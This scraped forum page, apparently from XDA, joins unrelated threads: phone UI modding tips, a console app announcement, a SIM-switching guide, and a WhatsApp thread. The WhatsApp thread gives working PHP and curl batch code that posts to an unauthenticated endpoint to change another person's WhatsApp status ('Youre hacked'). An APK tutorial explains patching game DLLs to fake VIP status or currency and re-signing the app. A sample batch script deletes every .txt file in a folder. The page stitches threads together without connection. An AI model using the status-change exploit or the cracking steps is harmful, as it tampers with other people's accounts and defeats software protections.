[TUT]How to remove the 01:02 flip in Manila 2.5 properly and how to make CDMA SMS fix - Windows Mobile Apps and Games

Part 1 - How to remove 01:02 flip:
I write this manual because I find there are people using wrong way to get rid of this nasty "feature", which will cause clock stuck or Manila starts with 0:00AM. Here I provide a proper way to remove this "feature":
1. Download LuaTool(Thanks Co0kieMonster), and make sure you know how to use Command Line.
2. Grab 5fa4d4b7_manila from Manila Home to the same folder as LuaTool.
3. Open Command Line, input "LuaTool /decompile 5fa4d4b7_manila"(without the quotes) and enter. You may not get 100% sucess rate but that's okay.
4. Open 5fa4d4b7_manila.lua that just generated by LuaTool, search for "DoFlip", and you will find something like this:
Code:
Below comes from Manila_Home_2_5_20111612_0, other versions may differ:
local l_28_0 = _application.Store:GetIntValue(Lifetime_Application, "ShowCacheHomePage")
if l_28_0 == 1 then
if _TickControlForClock:CheckBoundary() then
ClockHelper:DoFlip()
else
ClockHelper:SetTimeInstantly()
end
else
local l_28_1 = _application.Store:GetIntValue(Lifetime_Application, "AnimationForHomeKey")
if l_28_1 == 1 then
if _TickControlForClock:CheckBoundary() then
ClockHelper:DoFlip()
else
ClockHelper:SetTimeInstantly()
end
end
end
Simply replace all those "DoFlip" with "SetTimeInstantly", or you can reconstruct the code structure like below:
Code:
local l_28_0 = _application.Store:GetIntValue(Lifetime_Application, "ShowCacheHomePage")
if l_28_0 == 1 then
ClockHelper:SetTimeInstantly()
else
local l_28_1 = _application.Store:GetIntValue(Lifetime_Application, "AnimationForHomeKey")
if l_28_1 == 1 then
ClockHelper:SetTimeInstantly()
end
end
This can reduce internal operations in Manila.
5. After editing the code, save the file and in the Command Line, input "LuaTool /compile -s -r n 5fa4d4b7_manila 5fa4d4b7_manila.lua"(this "n" should be the function number of the edited function. In this example, it's 28) and enter.
6. Overwrite the original 5fa4d4b7_manila with the edited one.
Part 2 - How to make a CDMA SMS fix for Manila 2.5:
This fix can fix the SIM error when you send a SMS from a CDMA2000 phone in Manila 2.5 Classic Messaging Page. To enable Classic Messaging Page, import these registry keys:
Code:
[HKEY_CURRENT_USER\Software\HTC\Manila]
"Manila://PeopleDetail\\peopleMessageClassic.page.hidden"=dword:0
"Manila://PeopleDetail_SIM\\peopleMessageClassic.page.hidden"=dword:0
"Manila://PeopleDetail\\peopleMessage.page.hidden"=dword:2
"Manila://PeopleDetail_SIM\\peopleMessage.page.hidden"=dword:2
Then let's start making this fix:
1. Download LuaTool(Thanks Co0kieMonster), and make sure you know how to use Command Line.
2. Grab 57a92846_manila from Manila People to the same folder as LuaTool.
3. Open Command Line, input "LuaTool /decompile 57a92846_manila"(without the quotes) and enter. You may not get 100% sucess rate but that's okay.
4. Open 57a92846_manila.lua that just generated by LuaTool, search for "SIM", and you will find something like this:
Code:
if not l_43_2.bIsSIMPresent then
trace("[peopleMessage.lua] : SIM is not present")
ShowDialog(Locale:GetString("IDS_NOSIMCARD"), Locale:GetString("IDS_NOSIMCARD_DESP"), "OK")
return
end
and this:
Code:
if not l_43_2.bIsSIMReady then
trace("[peopleMessage.lua] : SIM is not ready")
l_43_2:OpenPINCodeDialog()
return
end
Simply delete these two part of code.
5. After editing the code, save the file and in the Command Line, input "LuaTool /compile -s -r n 57a92846_manila 57a92846_manila.lua"(this "n" should be the function number of the edited function. In this example, it's 43) and enter.
6. Overwrite the original 57a92846_manila with the edited one.

Related

Custon buttons

i installed ae button, wanna get rid of it, but when i do i lose the voice command button. i only have 4 buttons in the settings button manager. any idea how to get the buttons back to the way they started? or add buttons to the phones default button manager?
gbenj said:
i installed ae button, wanna get rid of it, but when i do i lose the voice command button. i only have 4 buttons in the settings button manager. any idea how to get the buttons back to the way they started? or add buttons to the phones default button manager?
Click to expand...
Click to collapse
voice command or the voice dialer? for voice command you need to reg edit and add this
hklm/software/microsoft/shell/keys
add key 40C6
1. add binary data "default" value "\windows\appbuttons\record.lnk" -b (with quotes)
2. add dword flags value 0 (0000000)
3. binary data icon value "location of icon"
4. binary data name value button 5 (press and hold)
5. binary data ResetCmd "\windows\appbuttons\record.lnk" -b (with quotes)
then add key 40C7
1. add dword named BtnWnd value 0 (00000000)
2. add binary data "default" value "\program files\voice command\voicecmd.exe" - ptt
3. add dword flags value 0 (0000000)
4. binary data "icon" value "location of icon"
5. binary data "name" value "button 5"
that should do it...
if you have the OEM voice dialer then point #2 at the file for the voice dial program and then point #5 at that icons location
srtpusher said:
voice command or the voice dialer? for voice command you need to reg edit and add this
hklm/software/microsoft/shell/keys
add key 40C6
1. add binary data "default" value "\windows\appbuttons\record.lnk" -b (with quotes)
2. add dword flags value 0 (0000000)
3. binary data icon value "location of icon"
4. binary data name value button 5 (press and hold)
5. binary data ResetCmd "\windows\appbuttons\record.lnk" -b (with quotes)
then add key 40C7
1. add dword named BtnWnd value 0 (00000000)
2. add binary data "default" value "\program files\voice command\voicecmd.exe" - ptt
3. add dword flags value 0 (0000000)
4. binary data "icon" value "location of icon"
5. binary data "name" value "button 5"
that should do it...
if you have the OEM voice dialer then point #2 at the file for the voice dial program and then point #5 at that icons location
Click to expand...
Click to collapse
thanks alot, but could i just have a little more detail about waht i need to do. im using total commander for reg edits, and used the reg edits before to fix my mms with verizon, but im not sure what to do here. i keep getting "Error in line 1, not a valid hex string!" every time i add binary data default value"..." for either of them
to answer your question, i want to set up button 5 to use a program called voice speed dial. eventually ill want a bluetooth headset to access that program, but for now i just want to get that button working again.
similarly, if its possible to adjust the camera button to run a program(flashlight) when clicked, and open the camera when held.
thanks for the help
gbenj said:
thanks alot, but could i just have a little more detail about waht i need to do. im using total commander for reg edits, and used the reg edits before to fix my mms with verizon, but im not sure what to do here. i keep getting "Error in line 1, not a valid hex string!" every time i add binary data default value"..." for either of them
to answer your question, i want to set up button 5 to use a program called voice speed dial. eventually ill want a bluetooth headset to access that program, but for now i just want to get that button working again.
similarly, if its possible to adjust the camera button to run a program(flashlight) when clicked, and open the camera when held.
thanks for the help
Click to expand...
Click to collapse
OK! was able to get it done, was a little unclear based on the descriptions in your instructions, but once i looked at them, and looked at the existing buttons i had in the other folders it made some sense. you kept saying add binary data etc, but instead i just had to add a string with a vale of wtvr, maybe ur right and i just dont know the terminology, but thats what my registry had for the other buttons so i kinda just copied them.
thanks alot
one more question. any idea how i can add the flashlight program to the camera button(without holding it down)?

[APP][WIN]WhatsApp Status Changer *Fool you friends*

http://whatsappstatus.net/
With this app you can change someones whatsapp status. Tried it and it worked.
The key is patience....
If someone likes to try it run it in a php script.
CC: CountryCode
ME: Phone number
S: Status
1.<?php
2.
3.$fields = array(
4. 'cc' => '31',
5. 'me' => '+31600000000',
6. 's' => 'Youre hacked'
7. );
8.
9.//url-ify the data for the POST
10.foreach($fields as $key=>$value) { $fields_string .= $key.'='.urlencode($value).'&'; }
11.rtrim($fields_string,'&');
12.
13.//open connection
14.$ch = curl_init();
15.
16.//set the url, number of POST vars, POST data
17.curl_setopt($ch,CURLOPT_URL,'https://s.whatsapp.net/client/iphone/u.php');
18.curl_setopt($ch,CURLOPT_POST,count($fields_string));
19.curl_setopt($ch,CURLOPT_POSTFIELDS,$fields_string);
20.curl_setopt($ch, CURLOPT_HTTPHEADER, array(
21. "User-Agent: WhatsApp/2.6.7 iPhone_OS/5.0.1 Device/Unknown_(iPhone4,1)",
22. "Cache-Control: no-cache",
23. "Pragma: no-cache",
24. "Content-Type: application/x-www-form-urlencoded",
25. "Accept-Encoding: gzip, deflate",
26. "Accept-Language: en-us",
27. "Accept: */*"
28. ));
29.
30.//execute post
31.$result = curl_exec($ch);
32.
33.//close connection
34.curl_close($ch);
35.
36.print_r($result);
[APP][WIN]WhatsApp Status Changer
http://www.wiretrip.org/2012/01/12/how-whatsappstatus-net-works/
Update #3: WhatsApp implemented an IP check – so this doesn’t work as well as it used to. The check entails checking if the update-request is for a WhatsApp account currently signed in, and checks if it is coming from the same IP as the target client is using. This means above could should still work for target WhatsApp users behind the same NAT (for example).
Click to expand...
Click to collapse
How to use the status changer:
1. download the appropiate windows package of curl on http://curl.haxx.se/download.html
extract curl.exe to a certain folder
2. search for msvcr100.dll on C:\ and copy the newest occurence into the certain folder
(on my PC it was in a folder of Java)
3. make sure both your Phone with Whatsapp and your PC are in the same WLAN (they need to have the same IP), make sure Whatsapp is running on your phone (you need to be online)
4. run whatsapp_status.bat:
Code:
@ECHO OFF
:first
if not "%~1"=="" goto setnumber
echo Please enter your phone number (starting with +):
set /p number=
goto second
:setnumber
set number=%~1%
goto second
:second
if not "%~2"=="" goto setstatus
echo Please enter your new status:
set /p status=
goto exec
:setstatus
set status=%~2
goto exec
:exec
curl --data-urlencode cc="31" --data-urlencode me="%number%" --data-urlencode s="%status%" -A "WhatsApp/2.6.7 iPhone_OS/5.0.1 Device/Unknown_(iPhone4,1)" -H "Accept: */*" -H "Accept-Language: en-us" -H "Accept-Encoding: gzip, deflate" -L -k -v https://s.whatsapp.net/client/iphone/u.php
alternatively run with variables:
whatsapp_status.bat "+491234567890" "new status "
Dosent work
DOSENT WORK ANYMORE!
https://youtu.be/u0zkAFyGDzA
:good:
*xXx* said:
DOSENT WORK ANYMORE!
Click to expand...
Click to collapse

[FREE][APP] CONSOLE WP8 - Shell Dos For Windows Phone 8

CONSOLE WP8
UPDATE: 1.8 - 2014-12-23 03:10:00
I'm excited to announce today the 1.8 update "WP8 Console"
- Added new command: [shortcut] to create tiles (shortcut) on the home screen link to a file
- Added new command: [set] to create / edit environment variable
- Adds new command: [tree] To list all files in the current folder and displayed in a tree
- Added new command: [reload] update all files are added, deleted or updated from the phone storage
- Added support batch file (.bat, .bat, .command) can execute the batch file with 'shell' easy to see the available commands please check the Help menu in the application
- Add support and management of files from the phone storage, edit, delete, rename, copy, move the file
- Add new examples files with commands 'batch' in (c: \ scripts)
- Improve in landscape view
- Add the new control loop [for], allowing wonderful combinations for scripts
- Improved performance and fixed some bugs in the user interface (language), network, local control, etc ..
WATCH OUT ! Apparently there is a problem to change the culture of application language for the "lite" version of "WP8 Console" with 1 missing images on the window "Wizzard". Will be corrected in the evening today!
Execute "shell" commands from your Windows Phone, manage your files, automated actions created scripts, created tile shortcuts to files, etc. The only application "console" on the store!
Access to over 45 functions with the controls ("MS-DOS")
- View the contents of a directory
- Read the contents of a file
- Modify a file
- Move a file
- Copy a file
- Rename file
- Print a file and email
- Delete files / folders
- Get information about the network
- Scripts write and run the .bat file script, .wpbat
- Ping - Ipconfig - net view (network control jack)
- Start programm windows phone from the shell
- View / execute files from the shell (music, photos, videos, audio, html, etc.)
- Use the loop function with "for"
- Etc ..
Example - Sample code you can use
Example batch file script 1:
//Ask a number to the user and loop on it
@echo off
echo (Enter a number to count please)
set /p /a loopNumber=
for /l %%i in (1,1,%loopNumber%) do echo %%i
Example batch file script 2:
//Remove all the files with the .txt extension from the current directy
for %%i in (*.txt) del %%i
Example batch file script 3:
//Ask the user how many fake folder he wank make
@echo off
echo (How many fake folder do you want make ?)
set /p numberOfFakeFolder=
for /l %%i in (1,1,%numberOfFakeFolder%) md fakeFolder_%%i
Example batch file script 4:
//Ping on google , save the result into a file and send the content by email
@echo off
ping google.com > res.txt
print res.txt
Click to expand...
Click to collapse
App link:
Console WP8 : http://www.windowsphone.com/en-us/store/app/console-wp8/8da96293-ec71-e011-81d2-78e7d1fa76f8
Console WP8 Lite : http://www.windowsphone.com/en-us/store/app/console-wp8-lite/2d27a82d-ef71-e011-81d2-78e7d1fa76f8
Click on the pictures to see more :good:
Wow, nice. Download link?
GoodDayToDie said:
Wow, nice. Download link?
Click to expand...
Click to collapse
Hi, Thank you and sorry . I just added now the link for my application in the Windows Phone Store
Update: 1.8 - 2014-12-23 03:10:00
UPDATE: 1.8 - 2014-12-23 03:10:00
I'm excited to announce today the 1.8 update "WP8 Console"
- Added new command: [shortcut] to create tiles (shortcut) on the home screen link to a file
- Added new command: [set] to create / edit environment variable
- Adds new command: [tree] To list all files in the current folder and displayed in a tree
- Added new command: [reload] update all files are added, deleted or updated from the phone storage
- Added support batch file (.bat, .bat, .command) can execute the batch file with 'shell' easy to see the available commands please check the Help menu in the application
- Add support and management of files from the phone storage, edit, delete, rename, copy, move the file
- Add new examples files with commands 'batch' in (c: \ scripts)
- Improve in landscape view
- Add the new control loop [for], allowing wonderful combinations for scripts
- Improved performance and fixed some bugs in the user interface (language), network, local control, etc ..
For more information , please check the first page, i edited the content presentation.
Update last corrections as requested by email.
- Problem for set the language in the 'lite' version :Console WP8 Lite
- Pictures missing in the "wizard" popup . The first use
- Problem, help menu no change the language dynamically after set a new language
New versions:
Console WP8 1.8.0.1
Console WP8 Lite 1.8.0.1
Thanks to Microsoft who have release my update very quickly ! (1 day)
Can i ping something with this tool ?
Stefan Caromov said:
Can i ping something with this tool ?
Click to expand...
Click to collapse
Hi Stefan , yes off course you can ping on internet or local machines
Examples:
ping 8.8.8.8
ping 192.168.1.5
ping google.com
start command is not working .
can you show the syntax of that command .
irshad2809 said:
start command is not working .
can you show the syntax of that command .
Click to expand...
Click to collapse
Hi, which order are you talking about ?
for [Ping] command for example with google, you just need tape :
ping google.com
and then ,tape "enter" button.
For more information, you can click on the "Help" button
kingmiddle said:
Hi, which order are you talking about ?
for [Ping] command for example with google, you just need tape :
ping google.com
and then ,tape "enter" button.
For more information, you can click on the "Help" button
Click to expand...
Click to collapse
look i have attached screen shot . the START command .
its not working
Mh you mean this command . Ok sorry
you can use the (start) command for execute or start different program
Example
Open new html page on specific url
start http://www.google.ch/search?q=lol
Open Power menu
start ms-settings-power
and again ....
After you can combine this code with a script etc..
kingmiddle said:
Mh you mean this command . Ok sorry
you can use the (start) command for execute or start different program
Example
Open new html page on specific url
start http://www.google.com?d=blablabla
Open Power menu
start ms-settings-power
and again ....
After you can combine this code with a script etc..
Click to expand...
Click to collapse
can i use uri of apps to open them using this
ho, sorry . You mean the "Start" command .
Ok no problem. With "Start" command , you execute/open different programm
For example :
// open a website with arguments
start http://google.com/search?q=test
// open new email
start mailto:[email protected]
// open Bluetooth menu
start ms-settings-Bluetooth
After you can mix and make a 'batch' script file , or create a shortcut tile link to this script
Example :
Step 1 - write the code into a file with (echo) for open Bluetooth menu
echo start ms-settings-Bluetooth >> c:\data\test.bat
Step 2 - execute the (shortcut) command for create a tile to the home screen (.ink)
shortcut /n myTileTItle /t c:\data\test.bat
/n => shortcut name
/t => target file
/i => icon picture
you can check the sample scripts to "c:\scripts" and try to open the code with the type command.
Example :
//Read the code
Type mySampleFile.bat
//Execute the batch file
mySampleFile.bat
@irshad2809
this is a very interesting question !
I know you can start all of this command :
http://msdn.microsoft.com/en-us/library/windows/apps/jj662937(v=vs.105).aspx
I don't know before , we can start another app with a uri shema . For now , i use the code "Windows.System.Launcher.LaunchUriAsync" like on the picture i attach, i don't know if you can use it or not for open a installed app . Please if you try , can you come back give me the result ?
Maybe i can add this feature to the next update
kingmiddle said:
@irshad2809
this is a very interesting question !
I know you can start all of this command :
http://msdn.microsoft.com/en-us/library/windows/apps/jj662937(v=vs.105).aspx
I don't know before , we can start another app with a uri shema . For now , i use the code "Windows.System.Launcher.LaunchUriAsync" like on the picture i attach, i don't know if you can use it or not for open a installed app . Please if you try , can you come back give me the result ?
Maybe i can add this feature to the next update
Click to expand...
Click to collapse
this feature is already there in your app ,
like if you type " start zune " : xbox music will open
or start whatsapp : whatsapp opens .
there is list of uri for almost apps on nokia wiki website .
. but i was looking for , something like "Native Toast Launcher " . can you look into that ?
irshad2809 said:
this feature is already there in your app ,
like if you type " start zune " : xbox music will open
or start whatsapp : whatsapp opens .
there is list of uri for almost apps on nokia wiki website .
. but i was looking for , something like "Native Toast Launcher " . can you look into that ?
Click to expand...
Click to collapse
Ok, i got it now. I will work on this new feature, and implement it for the next update . Between the middle and the end of january I agree with you , this feature can be interesting .
Thank you very much
i mean can i see the sent and reciecved packages ? example : ping google.com -t -l 1024
Invalid URI: The hostname could not be parsed.
.
.
.
can you explain about this .
@Stefan Caromov , sorry for now , you can only use the [w] and [n] arguments for set the timeout or how many packet will be send . By the way you can not see the size of packet size. I take not now for implemant this new feature in the next update
@irshad2809 Do you can please , show me wich 'hostname' you used ?
ping Google.com => is ok
ping 8.8.8.8 => is ok
ping 192.168.1.1 => is ok
ping http://www.google.com => is not ok ! As the true cmd command line
good game, this app is very nice

AndroModding

Requirements:
1) Have the .apk file you want to hack.
2) Have WinRar installed on your PC. (*Download WinRar 32bit*|*Download WinRar 64bit*)
3) Have .NET Reflector. (*Download .NET Reflector 9.0*)
4) Have "Reflexil", a required Plugin to hack files with .NET Reflector. (*Download Reflexil Plugin for .NET Reflector*)
5) Have an APK SIGNER. I personally use the one-click signer. (*Download one click apk signer*)
Get Ready
Let's prepare our workspace:
1) The first step is to look inside our .apk file, in order to be sure it can be hacked with this method. What we will do is to rename the apk from .apk to .zip;
2) Double click on the .zip file and you should be able to open it with WinRar. If not, make right-click and select "Open With..." and then chose "WinRar";
3) Try to go to the following location: assets/bin/Data/Managed/. If you reached it succesfully, and if you see lots of .dll files inside it then YES, you can hack this game (or you can TRY hacking it) using .NET Reflector!
4) Now, extract the whole "Managed" folder wherever you like (I personally have a folder on my Desktop I exclusively use to hack games, where I put all the softwares I need to hack them).
5) Open ".NET Reflector", move ALL THE .DLL FILES from the "Managed" folder inside it (move them in the LEFT box of Reflector).
6) Press F3, then press Ctrl+M. This will enable the Search box and set it properly for our scopes. Please note this must be done EVERY TIME you open .NET Reflector.
7) Launch Reflector (if you read the "ReadMe.txt" into the Reflexil folder of my download link above, you already know how to launch it. Otherwise, well, click on the Gear icon or go to Tools -> Reflexil and click on it)
Ok, we managed to set up everything properly and we can finally start hacking!
Let's start
So, let's read what I'll write below very carefully, since it's easy to understand if you spend enough time reading, ok?
1) The first step, after you grabbed your .apk file is to open it with WinRar (I personally rename the extension to .zip in order to open it automatically with WinRar, but you can simply do Right Click on the .apk file and select "Open With..." -> WinRar).
2) Browse to the following path, inside the WinRar window: assets/bin/data/Managed/, like the screenshot below:

3) Extract (you can simply drag them) all the .dll files of this archive into your desired folder (or, to be faster, just drag the entire "Managed" folder of the archive out of it.
4) Now, Open NET Reflector, press F3 and Ctrl+M (this must be done every time, to quickly set up NET Reflector for our usage), load the "Reflexil" plugin by clicking on the Gear icon and move all the .dll files inside .NET Reflector's window (at the left, like in the screenshot below):

Now we're ready to search, so input your desired keyword in the Search Box and edit the desired code, like in the Screenshot below. Watch it carefully:

6) To edit the code, you need to right-click on the desired instruction you want to modify and select "Edit". When you're done with edits, click on Update, like in the screenshot below:

7) Now, let's save our code. To do this, in the Left panel of .NET Reflector, scroll up until you find the name of the Assembly you modified, then do Right Click -> Reflexil -> Save, like in the screenshot below:

8) It'll add ".Patched" to the original name the of the .dll file, so you know which one is the modified and which one is the original .dll file. Now, to be sure we modified the right code, let's load again the Assembly into .NET Reflector, to see how it does look now. (this step is optional, but recommended if you're not 100% sure the hack is properly coded:

9) Ok, in my example the codes were right so we can proceed adding the modified .dll file to our original .apk file. So we open the .apk file again with WinRar and replace the original "Assembly-Csharp.dll" (or any other .dll files you modified) with the one containing ".Patched", but of course, you need to rename the file to its original name, or the game will not load. So, in my example, I renamed Assembly-Csharp.Patched.dll to Assembly-Csharp.dll in order to restore its original name.
10) Now it's time to sign it (or you can add*toast*before singning apk if you want, before signing the .apk file). So we move the modified .apk file in the same folder of the "one_click_signer.cmd" file (or, if you use another apk signer, use your method to sign it), then we open it by double-clicking it and a Command Prompt window will appear.
All we need to do is to type:
"name of the apk file.apk"
and press Enter, like in the screenshot below (don't forget the "" symbols, they are part of the code you need to write!):

11) That's it! Our MOD APK file is ready! You'll find a new .apk file in this folder, starting with "signed-". This is the signed .apk file you can finally share! But first, of course, test the game and ensure it does properly work. If yes, it means you're a good hacker and you can finally upload the .apk file to share it with everyone! If the .apk file is not properly working, or if the codes you made aren't showing, well, don't lose hope! Just try again, modifying some other offsets! Good luck!
FAQs:
If you need help, as always, reply below and I'll be glad to add further details or to give you an helping hand!*
Do you have an Int32?
You can return a value this way:
ldc.i4 -> Int32 -> Your_Value (no limits)
ret
or
ldc.i4.s -> SByte -> Your_Value (max 128)
ret
Do you have an Int64?
You can return a value this way:
ldc.i8 -> Int64 -> Your_Value
ret
Do you have a Single?
You can return a value this way:
ldc.r4 -> Single -> Your_Value
ret
Do you have a Double?
You can return a value this way:
ldc.r8 -> Double -> Your_Value
ret
Do you have a "Boolean"?
I'm used to compare "Boolean" with a question. Basically, it "asks" something to the game, and the game will answer with True (yes) or False (no).
For example: get_isVip will "ask" the game if the user is a VIP, and the game will probably answer "No, he's not a VIP!!!", so what can we do here?
We have two ways. The first (easier, but you will not learn much..) is about returning always True (yes), while the second (not alwasy applicable, but it's the "pros" way) is about making the game thing you're a VIP for real.
But first, let's explain how to return "True" or "False" in the game.
True = ldc.i4.1 (or ldc.i4 -> Int32 -> 1)*
False = ldc.i4.0 (or ldc.i4 -> Int32 -> 0)
Beware that you must always use ldc.i4 (and not ldc.r4, ldc.i8 and so on..) or the game will crash.
So, the easiest way to always return True (or False) to a Boolean is to replace the whole function with:
[TRUE]
ldc.i4.1
ret
[FALSE]
ldc.i4.0
ret
Now, let's talk about the pros' method. As we said above, it's all about making the game think you're a VIP for real, so the Boolean will naturally return a true value, even if we both know you're not a VIP for real in the game (of course I talk about VIP to make an example, you can replace the word "VIP" with anything. For example, "get_isUnlocked" or simply "IsUnlocked" is a boolean to unlock stuff in the game and so on.. it's up to you to find the right keyword to hack a value).
Sometimes, there are some "checks" to ensure if you're a VIP or not. For example, the game checks you VIP level and, if it's equal to 0 returns a false, while if it's higher than 0, it returns true.
It should look like this (very basic example) in NET Reflector decompilation window:
get_isVip {
if (this.Player.get_vipLevel) > 0*
{
return true
}
return false
}
And, in Reflexil (the plugin's window you have at the bottom) you should see something like:
0 ldarg.0
1 ldfld Player.get_vipLevel
2 ldc.i4 0
3 bge (6 -> ldc.i4.1)
4 ldc.i4.0
5 br (7 -> ret)
6 ldc.i4.1
7 ret
Now, it's not that hard to understand what Reflexil says. Let's compare the text with the NET Reflector's decompiled code:
ldarg.0 -> "this."
ldfld -> loads the value, in particular, the one about the Player's vip Level
ldc.i4 0 -> it means 0, referring to the player's vip level
bge (6 -> ldc.i4.1) -> it means "branch if greather than". This means, if the Player's vip Level (ldarg.0 + ldfld) is greather than 0 (ldc.i4 0), the function will jump to the sixth function (ldc.i4.1 which means true)
ldc.i4.0 -> which means false. If the function didn't jump to the ldc.i4.1, the game will return this value (false) so the player will not be a VIP
br (7 -> ret) -> this will jump to the 7th function, which is the "ret". Of course, after returning the false, the function needs to close itself, so it'll jump to the "ret" at the end of it.
ldc.i4.1 -> this means true and it's called by the "bge" we've seen above. This is the only way this value is called so, if the player value is higher than 0, this will be the next value returned = the Player IS a VIP.
ret -> You know better than me that "ret" ends the function. Remember EVERY function in the game must end with "ret" or the game will not work properly.
So, after this long and boring lesson, what's the pros' way to hack this?
The answer is in your brain. If the player vip level is higher than 0, the player will be a VIP so what will we do? Of course, we'll hack the player vip level! How? Simply look for "get_vipLevel" (please note this is just an example, it doesn't apply to any particular games and the keyword could change) and it'll probably be an Int32 so you'll simply replace its whole function to:
ldc.i4 -> Int32 -> 15 (for example, as most games with the VIP interface caps the VIP level at 15, while some other have got 10 as VIP level's cap)
ret
This will not only automatically enable your VIP membership, but it will also give you a VIP level = 15.
Please note, even if we manage to hack the VIP level in particular, some online games will still NOT give you the privileges of the VIP membership, or you will get only some of them. Why? Because sometimes the vip level in online games is managed by the server, so you could be the only one seeing you're a VIP member, while all the other people will see you're NOT a VIP member, because you're not a VIP for the server. So, if this value is server-sided, you may still not be able to get your vip privileges with this hack.
How to multiply a value?
Easy, you have to add the number you want to multiply the value with followed by "mul", before the "ret" or, to be more precise, after the function returns the value you want to hack.
Example:
ldarg.0 (which means "this.")
ldfld Player::get_money
ldc.i4 (or ldc.i8, or ldc.r4, or ldc.r8. Which one? See my above examples) -> Int32 (or Int64, or Single, or Double. Which one? See my above examples) -> Your_Value
mul
ret
Sometimes the function returns different values if different events occur, so it could be necessary to multiply more values.
How to divide/subtract/add a value?
It's the same as before, you just need to use "div" (or "sub" or "add") and not "mul" (div = divide, mul = multiply, sub = subtract, add = add).
What's the difference between multiplying something and simply returning 9999999?
The main difference is that returning 9999999 will give a STATIC value. It will never decrease/increase, while multiplying (or adding) a value will give a DYNAMIC value, so you can run out of money, but you theorically also have a lower ban chance. Don't think about 9999999 only when talking about money. This could be HP or Damage or XP and so on..
We are Cracker.
Help
Hey I’m new to this. I was wondering if there is another method to this because my game doesn’t have the dll files there. It has some folders such as meta data. Thanks
So i modded a dll from a multiplatform .NET app and it works fine when using it on PC. But when placing it in the app, all i get is a black screen.

[GUIDE] [ROOT] Switch off individual SIMs with Tasker.

X-Posted from the Mi6 forum and Stack Overflow. I wanted to do this the whole time I had my Mi5 (RIP) but couldn't figure out how.
Could anybody test on their Mi5 and let me know if it works?
kylemd said:
I know that looking for this answer has bugged me for the past few years, so figured I'd x-post from Stack Overflow. I have found the solution to switching either SIM off in the Mi6 automatically. Will likely work with other phones.
The whole question and answer you can find on Stack Overflow here.
To get the required index out of your device, you'll need to run the following commands from command prompt:
Download jadx from here
ADB pull the devices framework.jar (adb pull /system/framework/framework.jar)
Open the .jar file with 7-Zip and extract the *.dex files.
Open each .dex file with jadx-gui until you find the one with the following tree: com.android.internal.telephony.ITelephony
Search for the item TRANSACTION_setSimPowerStateForSlot. Note the = x after it; this is the index number.
Now you have the index number you can test the following command in adb shell (or Tasker, with the "run shell" function). You will need to "su" in shell, or set Tasker to "Use Root".
service call phone x i32 y i32 z
Where:
x = index number you fetched previously,
y = your subscription ID (generally, SIM1 = 0, SIM2 = 1)
z = whether on (1) or off (0)
Click to expand...
Click to collapse
Of course, now that you can execute it in Tasker you can now switch either SIM off at specific times.
I've verified that it does indeed switch the SIM off (calls go straight to voicemail right after this command is executed) but I'm unsure of any further effects this switch has.
Enjoy!
Click to expand...
Click to collapse
Click to expand...
Click to collapse

Categories

Resources